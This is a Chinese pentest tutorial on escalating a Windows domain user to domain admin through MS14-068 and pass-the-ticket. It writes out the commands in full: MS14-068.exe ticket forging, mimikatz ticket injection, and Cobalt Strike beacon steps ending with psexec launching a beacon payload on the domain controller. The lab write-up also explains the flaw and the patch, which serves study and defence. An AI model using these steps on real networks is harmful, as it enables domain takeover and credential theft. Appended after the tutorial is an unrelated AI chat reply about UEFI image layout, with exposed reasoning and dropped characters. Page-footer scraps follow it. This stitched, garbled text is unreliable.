渗透测试中的域渗透之MS14-068域控提权+票据传递攻击PTT

MS14-068域控提权+票据传递攻击PTT

教材内容

一、PTT 简介

票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。

常用的攻击方式:MS14-068、黄金票据、白银票据等。

二、MS14-068 漏洞
1、漏洞简介

2014年11月18 日,微软发布 MS14-068 补丁,修复了一个影响全部版本 Windows 服务器的严重漏洞。用于解决 Microsoft Windows Kerberos KDC 漏洞,该漏洞允许黑客提升任意普通用户权限成为域管理员身份。攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。

受影响版本:Windows Server 2003、Windows Vista、Windows Server 2008、Windows 7、Windows 8 and Windows 8.1、Windows Server 2012(以上系列的部分版本)

微软官方公告:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068

漏洞利用前提:

  • 域控制器系统为受影响的版本,且没有打MS14-068的补丁(KB3011780)。
  • 能操作一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid
2、PAC

微软在Windows平台上对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书。

在一个域中,通过 User 的 SID 和所在组 Group 的 SID 来确定该用户所拥有的权限。所以 PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 为了保证自身的合法性,还包含 2 个签名。

(1)Client 向 AS 请求认证,验证完Client的身份后,AS 在返回 TGT 时,生成 PAC,以及用于确保 PAC 不被篡改的两个签名,一个签名的密钥为 KDC用户(krbtgt) 的 NTLM Hash,另一个签名的密钥为 Server 的 NTLM Hash,而签名的内容主要为 User SID、Group SID 。

image-20220224150835270

(2)Client向 TGS 发送请求,来获取访问 Server的Ticket 。TGS 对TGS Request 中的 TGT 解密,并通过两个签名来验证 PAC 的合法性。若验证通过,TGS 会重新生成两个新的签名保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM Hash,第二个密钥为 Server 与 Client 的临时会话密钥 Session Key(Server-Client)。新的 PAC 会被放置在签发的访问票据 Ticket 中,使用 Server 的 NTLM Hash进行加密。

image-20220224155334257

(3)Client 使用 Ticket 向 Server 请求相应的资源, Server收到请求,将 Ticket 解密并验证,校验 PAC 中的两个签名,验证 PAC 的合法性,之后根据 PAC 得知Client的权限,让其访问对应资源。

3、漏洞产生原理

Client 在向 AS 发送请求时,可以设置一个名为 include-pac 的字段为 False,而后 AS 生成的 TGT 并不会含有PAC,该字段默认为 True。在 Client 收到不含 PAC 的 TGT 后,可以添加一个 PAC 放于TGS Request 的数据包中,而 TGS 收到这个请求的数据包时,仍能正确解析出放在 TGS Request 中其他位置的 PAC 信息,因为 KDC 允许用户使用这样的构造。

在 KDC 对 PAC 进行验证时,对于PAC中的签名算法,虽然原则上规定使用密钥加密的签名算法,但微软在实际场景中却允许 Client 指定任意签名算法。所以Client 构造一个PAC,其中添加高权限的User SID 与 Group SID信息,并指定使用MD5进行签名,只要TGS Requset 数据不丢失,那么该伪造的 PAC 就能被验证通过。

PAC 验证通过后,KDC 会将 PAC 中的 User SID、Group SID 取出来,重新使用KDC用户(krbtgt) 的 NTLM Hash 和 Server 的 NTLM Hash 分别生成两个新的签名。之后生成一个新的 TGT ,并把 PAC放入其中,加密后发送给 Client,而不是发送 Ticket 给Client。

image-20220314153951997

三、漏洞复现
  • 普通域用户上线之后本地提权至该主机的system权限
  • 使用MS14-068域提权漏洞,提权至这台主机的域管理员用户,然后使用提权后的用户去伪造一个票据从而拿下域控
1、 实验环境:

域 :ymqyyds.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.230.132)

域内计算机 :Windows 7 (IP:192.168.230.129)

普通域用户 :yang 和 ming

MS14-068漏洞利用工具 :MS14-068.exe (https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068)

Windows 密码获取工具 :mimikatz.exe

2、复现过程:

拿下一台域主机之后:

1、域信息获取

使用 net time /domain 命令查看所在域的时间与域服务器的名字 :

image-20241113162833107

使用 ipconfig /all ,查看DNS服务器地址,单域中DNS与DC一般在同一服务器上

image-20241113162800266

可以使用ping 命令进行校验

image-20241113162909820

域 : ymqyyds.com

域服务器名称 : 
\\WIN-4SN3TCADBPV.ymqyyds.com

DC 的IP : 192.168.230.132

2、获取用户 SID ,使用命令:whoami /user

image-20241113163001987

ymqyyds\yang 
S-1-5-21-950637677-4107720893-3683532009-1105

也可以使用命令:wmic useraccount get name,sid 查看当前系统所有用户的名称和SID

image-20241113163052180

Administrator  S-1-5-21-564836456-2954950131-3790214008-500   


Guest          S-1-5-21-564836456-2954950131-3790214008-501   


Administrator  S-1-5-21-950637677-4107720893-3683532009-500   


Guest          S-1-5-21-950637677-4107720893-3683532009-501   


krbtgt         S-1-5-21-950637677-4107720893-3683532009-502   


ming           S-1-5-21-950637677-4107720893-3683532009-1000  


yang           S-1-5-21-950637677-4107720893-3683532009-1105

3、此时依旧只是普通域用户的权限,我们需要进行本地提权到本地system权限然后 dump hash

image-20241113163416142

由于权限不够,所以获取hash失败,进行本地提权

image-20241113163500872

然后选择一个监听器运行即可,成功后我们发现 rundll32.exe 进程上线了

image-20241113163602932

然后 抓取 hash

3、使用MS14-068生成伪造的 kerberos 协议票据:

使用命令为:

MS14-068.exe -u 用户名@域 -p 用户密码 -s 用户SID -d DC的IP

image-20220225120642413

MS14-068.exe不免杀,所以有两种方案,一是跳板机提权后信任MS14-068.exe,二是不将MS14-068.exe上传到跳板机,直接通过代理在攻击者主机上进行连接生成票,将票据上传到跳板机即可。

会生成一个“ccache”格式的文件(伪造的票据文件),存放于MS14-068.exe的工作目录下。

image-20220225122036062

4、尝试访问域服务器的C盘,此时访问失败,因为我们还需要将票据导入。

image-20220225121338335

5、使用mimikatz工具删除缓存的票据,并将伪造的票据导入内存。

mimikatz :一款 Windows 密码获取工具,可以帮助用户提取出电脑中的登录凭证。可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证等,还有哈希传递、票证传递或构建黄金票证等功能。

(1)查看内存中已有的Kerberos票据:kerberos::list

image-20220225142803897

(2)删除缓存票据:kerberos::purge

image-20220225142910999

(3)导入伪造的票据:kerberos::ptc 票据存放路径

image-20220314154148798

6、再次访问域服务器的C盘,此时可以访问,说明普通域用户提权成功。

image-20220225143427850

使用psexec完成反弹Shell: psexec.exe \\dcadmin cmd.exe 后续操作与PTH部分的内容相同。

四、在CS中提权

1、先上线域客户机Windows7(域普通用户登录时),再使用插件调用MS14-058完成本机提权,获取用户Hash和密码。

image-20230814015948023

如果目标系统不显示明文密码,插件也可以修改注册表获取明文密码。

image-20230814015800978

2、完成后将MS14-068.exe文件到Windows7的C:\Tools目录下(或任意其他目录,也可以直接在攻击者机器上生成凭证)

3、利用MS14-068完成本机提权,获取本机登录账户信息和凭证(使用域用户上线的主机,不要使用提权后的主机,该主机仅用于获取密码Hash)。

beacon> shell cd C:\Toolsbeacon> shell MS14-068.exe -u zhangsan@woniuxy.com -p Woniu456 -s S-1-5-21-265030030-3466757011-2842256786-1107 -d 192.168.112.100
# 确认在C:\Tools目录下生成了:C:\Tools\TGT_zhangsan@woniuxy.com.ccache 文件

image-20230814014826432

4、在CS中运行Mimikatz命令,完成权限获取。

beacon> mimikatz kerberos::list
beacon> mimikatz kerberos::purge
beacon> mimikatz kerberos::ptc C:\Tools\TGT_zhangsan@woniuxy.com.ccache
beacon> shell dir \\dcadmin\c$

image-20230814020250883

5、控制域控后,运行各种木马上线的命令拿下域控。

beacon> shell c:\Tools\PSTools\psexec.exe \\dcadmin cmd.exe /c "C:\Tools\http_beacon.exe"

拿下域控后,可以利用域控管理员账户登录任意其他域客户机,实现全域控制。

五、 修复方法

下载微软官方的MS14-068漏洞的补丁,补丁为KB3011780。安装后,使用 systeminfo 命令查看系统信息总共已安装的修补程序,即可查看是否成功安装补丁。

<think>嗯,用户之前问过UEFI镜像结构布局,现在又发了一个结构图,看起来是想更具体地了解每个部分的作用。我需要先分析他供的结构图里的各个组件,比如引导扇区、保护分区、UEFI固件映像等。用户可能对UEFI启动流程和镜像组成有进一步的兴趣,或者想深入每个模块的功能。 首先,引导扇区通常是传统BIOS启动的一部分,但UEFI可能兼容这种设计。需要确认UEFI中引导扇区的作用,可能是指ESP分区中的引导加载程序。保护分区可能指系统保留分区,用于存储启动相关文件。 接下来,UEFI固件映像的结构部分,头部、节表和PE/COFF格式,这些都是UEFI模块的标准结构,可能需要解释这些部分如何组织代码和数据。驱动程序和应用程序应该是指UEFI环境中的各种驱动和EFI应用,比如文件系统驱动或启动管理器。 配置数据库可能涉及NVRAM中的变量,如BootOrder、BootXXXX,这些对于启动顺序很重要。签名和验证数据应该与安全启动相关,涉及证书和签名验证。备用区和空闲区可能用于固件更新或扩展。 需要注意的是用户可能不太清楚这些部分如何协同工作,或者每个部分在启动过程中的具体角色。可能需要用更通俗的语言解释,同时保持技术准确性。另外,用户可能想了解如何查看或修改这些部分,比如使用工具或命令,但问题中没有直接问,所以可能需要简要及。 需要检查之前的回答是否已经覆盖了这些内容,避免重复。之前的回答详细介绍了固件卷和各个阶段模块,而这次的结构图更偏向存储布局,所以需要补充物理存储结构方面的知识,比如磁盘分区和文件组织。 最后,确保回答结构清晰,分点说明每个部分,并关联到UEFI启动流程和安全机制。可能还要到相关工具,如UEFITool或命令行工具,帮助用户进一步探索。</think>### **UEFI 镜像物理存储布局解析** 你供的结构图描述了一个典型的 UEFI 镜像在物理存储设备(如 SPI 闪存或硬盘)中的分层布局。以下是各部分的详细说明及其在 UEFI 启动流程中的作用: --- #### **1. 引导扇区(Boot Sector)** - **作用**:兼容传统 BIOS 启动模式,或作为 UEFI 启动的补充入口(例如从 MBR 磁盘启动)。 - **内容**: - 主引导记录(MBR):包含磁盘分区表和启动代码(兼容 BIOS)。 - 保护引导代码(可选):用于验证后续分区的合法性。 - **示例**: ```plaintext 偏移 0x0000: MBR(启动代码 + 分区表) 偏移 0x01BE: 分区表(4 个条目) 偏移 0x01FE: 结束标志(0x55AA) ``` --- #### **2. 保护分区(Protected Partition)** - **作用**:存储固件恢复或安全启动所需的受保护数据(如备份固件、硬件密钥)。 - **特点**: - 通常标记为隐藏分区,避免操作系统误操作。 - 可能包含以下内容: - 备份的 UEFI 固件镜像(用于故障恢复)。 - 硬件加密密钥(如 Intel PTT 或 TPM 相关数据)。 - 安全启动数据库(DB/DBX)的备份。 --- #### **3. UEFI 固件映像(UEFI Firmware Image)** 这是 UEFI 固件的核心部分,通常以 **固件卷(Firmware Volume, FV)** 形式组织,包含以下子结构: ##### **(1) 头部(Header)** - **作用**:描述固件卷的元数据。 - **关键字段**: - **GUID**:唯一标识符(如 `8C8CE578-8A3D-4F1C-9935-896185C32DD3`)。 - **大小**:固件卷的总字节数。 - **属性**:读写限、对齐要求(如 8KB 对齐)。 - **校验和**:CRC32 或更复杂的哈希值(如 SHA256)。 ##### **(2) 节表(Section Table)** - **作用**:定义固件卷内各文件(FFS 文件)的布局和类型。 - **常见节类型**: - **PEI 核心节**:包含 Pre-EFI 初始化代码。 - **DXE 核心节**:驱动执行环境的核心模块。 - **用户界面节**:启动时显示的图形资源(如 Logo、字体)。 ##### **(3) PE/COFF 格式** - **作用**:UEFI 可执行文件的标准格式(驱动、应用程序均为此格式)。 - **结构**: - **DOS 头**(兼容性保留,内容固定为 `MZ`)。 - **PE 头**:机器类型(如 `EFI_IMAGE_MACHINE_X64`)、入口点地址。 - **节表**:定义代码(`.text`)、数据(`.data`)和资源(`.rsrc`)段的偏移与属性。 - **示例**: ```plaintext +---------------------+ | DOS Header ("MZ") | +---------------------+ | PE Header | → 包含入口点 _ModuleEntryPoint +---------------------+ | .text Section | → 可执行代码 +---------------------+ | .data Section | → 全局变量 +---------------------+ | .reloc Section | → 重定位信息 +---------------------+ ``` --- #### **4. 驱动程序和应用程序(Drivers & Applications)** - **作用**:扩展 UEFI 功能或供用户交互界面。 - **典型内容**: - **硬件驱动**:PCIe 制器驱动、USB 主机制器驱动。 - **协议实现**:`EFI_BLOCK_IO_PROTOCOL`、`EFI_GRAPHICS_OUTPUT_PROTOCOL`。 - **应用程序**:UEFI Shell、启动管理器(Boot Manager)、诊断工具。 - **存储形式**:以 FFS 文件形式嵌入固件卷,文件类型为 `PE32` 或 `PE32+`。 --- #### **5. 配置数据库(Configuration Database)** - **作用**:存储 UEFI 变量和平台配置信息。 - **内容**: - **NVRAM 变量**: - `BootOrder`:定义启动设备优先级。 - `Boot####`:单个启动项配置(如 `Boot0001: "Windows Boot Manager"`)。 - `SecureBoot`:启用/禁用安全启动。 - **ACPI 表**:如 DSDT、FADT,描述硬件资源。 - **SMBIOS 数据**:硬件资产信息(如序列号、主板型号)。 --- #### **6. 签名和验证数据(Signatures & Verification Data)** - **作用**:支持 Secure Boot 和固件完整性验证。 - **内容**: - **证书数据库**: - **PK**(Platform Key):平台所有者密钥。 - **KEK**(Key Exchange Key):用于更新其他密钥。 - **DB/DBX**:允许/禁止的签名证书或哈希列表。 - **模块签名**:每个 UEFI 驱动或应用程序的加密签名(如 RSA-2048 + SHA256)。 - **验证流程**: ```plaintext 1. 固件启动时检查 PE/COFF 文件的签名。 2. 使用 DB 中的证书验证签名有效性。 3. 若验证失败(或 DBX 包含该哈希),则拒绝加载。 ``` --- #### **7. 备用区(Fallback Region)** - **作用**:当主固件损坏时供恢复能力。 - **实现方式**: - 存储一个最小化的 UEFI 核心(仅包含基本驱动和恢复 Shell)。 - 通过硬件触发(如主板跳线或特定按键组合)切换到备用区启动。 --- #### **8. 空闲区(Free Space)** - **作用**:保留未使用的存储空间,用于未来固件更新或 OEM 定制。 - **典型用途**: - 固件升级时写入新模块。 - 厂商添加特定功能(如硬件诊断工具)。 - 扩展 ACPI 表或 SMBIOS 数据。 --- ### **总结:UEFI 镜像的层次化设计** 1. **硬件兼容层**(引导扇区 + 保护分区)→ 支持传统 BIOS 和恢复机制。 2. **核心功能层**(UEFI 固件映像)→ 实现启动流程(SEC → PEI → DXE → BDS)。 3. **扩展层**(驱动/应用程序 + 配置数据库)→ 供硬件支持和用户配置。 4. **安全层**(签名验证 + 备用区)→ 确保固件完整性和可恢复性。 --- ### **工具与调试建议** - **查看分区结构**: ```bash # 使用 gdisk 查看 GPT 分区 gdisk -l /dev/sda ``` - **取 UEFI 变量**: ```bash # 在 Linux 中通过 efivarfs 访问 ls /sys/firmware/efi/efivars ``` - **逆向分析固件**: - **UEFITool**:解析固件卷和 FFS 文件。 - **Hex Workshop**:手动分析二进制结构。 - **QEMU + UEFI 调试**:动态跟踪启动流程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值